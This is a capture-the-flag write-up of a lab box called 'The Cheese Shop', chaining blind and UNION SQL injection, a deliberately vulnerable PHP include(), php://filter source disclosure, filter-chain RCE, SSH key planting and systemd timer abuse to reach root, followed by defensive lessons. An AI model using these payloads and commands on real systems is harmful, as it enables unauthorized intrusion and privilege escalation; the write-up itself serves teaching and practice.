Overview
The Cheese Shop — a PHP webapp riddled with classic web vulns chained together for full compromise. Every step unlocks the next: SQLi → LFI → source leak → RCE → SSH → systemd timer abuse → root.
Decoy Ports
Ports 21, 443, 3306, 5432, 8080, 8443 were open with misleading banners — intentional misdirection. Only 22 (SSH) and 80 (HTTP) are real.
Step 1: SQL Injection
Time-Based Blind SQLi
SQLmap identified a time-based blind injection in the username POST parameter on /login.php:
Parameter: username (POST)
Type: time-based blind
Payload: admin' AND (SELECT 3045 FROM (SELECT(SLEEP(5)))VIzb)
AND 'YtTY'='YtTY
PHP Source Disclosure via LFI
Successful login redirected to secret-script.php?file=supersecretadminpanel.html. The file parameter is a raw include() — no sanitization:
<?php
if(isset($_GET['file'])) {
$file = $_GET['file'];
include($file); // wide open LFI
}
?>
Reading login.php source via php://filter:
GET /secret-script.php?file=php://filter/convert.base64-encode/resource=login.php
Source Leak Findings
- MySQL creds:
comte:VeryCheezyPassword(database:users) - OR filter:
filterOrVariations()stripsOR/orfrom username — but doesn’t block UNION - Password storage: MD5 hash comparison
UNION Auth Bypass
Since OR is filtered but UNION isn’t, we inject a fake row with a known MD5 hash:
POST /login.php
username=' UNION SELECT 1,2,'098f6bcd4621d373cade4e832627b4f6'-- -
password=test
(098f6bcd4621d373cade4e832627b4f6 = md5('test'))
Result: HTTP 302 → secret-script.php?file=supersecretadminpanel.html
Step 2: LFI to RCE
LFI Confirmed
GET /secret-script.php?file=../../../etc/passwd
Users with shells: comte (uid 1000), ubuntu (uid 1001).
PHP Wrapper Testing
| Wrapper | Status | Reason |
|---|---|---|
php://filter | Working | Reads files via base64 encode |
php://input | Blocked | allow_url_include disabled |
data:// | Blocked | allow_url_include disabled |
/proc/self/environ | Blocked | Not readable by www-data |
PHP Filter Chain RCE (Synacktiv)
The admin message page hints: “If you know, you know :D” — referencing the Synacktiv PHP filter chain exploit. RCE through LFI using convert.iconv chains — no allow_url_include needed.
python3 php_filter_chain_generator.py \
--chain '<?php system($_GET["cmd"]); ?>'
GET /secret-script.php?cmd=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-decode/resource=php://temp
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE Achieved
Full command execution as www-data via the filter chain — no file upload, no log poisoning, no allow_url_include. Pure PHP filter gadget abuse.
Step 3: SSH as comte
World-Writable authorized_keys
$ ls -la /home/comte/.ssh/
-rw-rw-rw- 1 comte comte 0 authorized_keys
authorized_keys is world-writable. Generate a key and write it:
ssh-keygen -t ed25519 -f /tmp/cheese_key -N ""
PUBKEY=$(cat /tmp/cheese_key.pub)
curl -s "http://TARGET/secret-script.php" --get \
--data-urlencode "cmd=echo '${PUBKEY}' > /home/comte/.ssh/authorized_keys" \
--data-urlencode "file=${CHAIN}"
ssh -i /tmp/cheese_key comte@TARGET
cat ~/user.txt
Step 4: Privilege Escalation
sudo Permissions
$ sudo -l
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer
World-Writable systemd Timer
-rwxrwxrwx 1 root root 87 /etc/systemd/system/exploit.timer
The associated exploit.service runs as root and copies xxd with SUID:
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
Trigger the Timer
Modify exploit.timer to fire immediately:
[Unit]
Description=Exploit Timer
[Timer]
OnBootSec=1s
OnActiveSec=1s
[Install]
WantedBy=timers.target
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl start exploit.timer
sleep 3
ls -la /opt/xxd
# -rwsr-sr-x 1 root root 18712 /opt/xxd
Read Root Flag via SUID xxd
/opt/xxd /root/root.txt | xxd -r
Lessons Learned
- Never use raw
include()on user input. Even withoutallow_url_include, the Synacktiv filter chain technique achieves RCE through iconv gadgets alone. - Incomplete input filtering is worse than none. Filtering
ORbut notUNIONgives a false sense of security. Use parameterized queries. - File permissions are an attack surface. World-writable
authorized_keysand systemd unit files are instant privilege escalation vectors. - systemd timers can be weaponized. If a user can modify timer/service files and has
sudo systemctl, they control what runs as root. - SUID binaries as file readers.
xxdwith SUID can read any file on the system — it’s on GTFOBins for a reason.
Attack Summary
| Step | Technique | Detail |
|---|---|---|
| 1 | SQL Injection | Time-based blind + UNION auth bypass |
| 2 | LFI | Raw include() in secret-script.php |
| 3 | Source Leak | php://filter/convert.base64-encode |
| 4 | RCE | PHP filter chain (Synacktiv iconv gadgets) |
| 5 | Lateral Move | World-writable authorized_keys → SSH |
| 6 | Privesc | World-writable timer → SUID xxd → root.txt |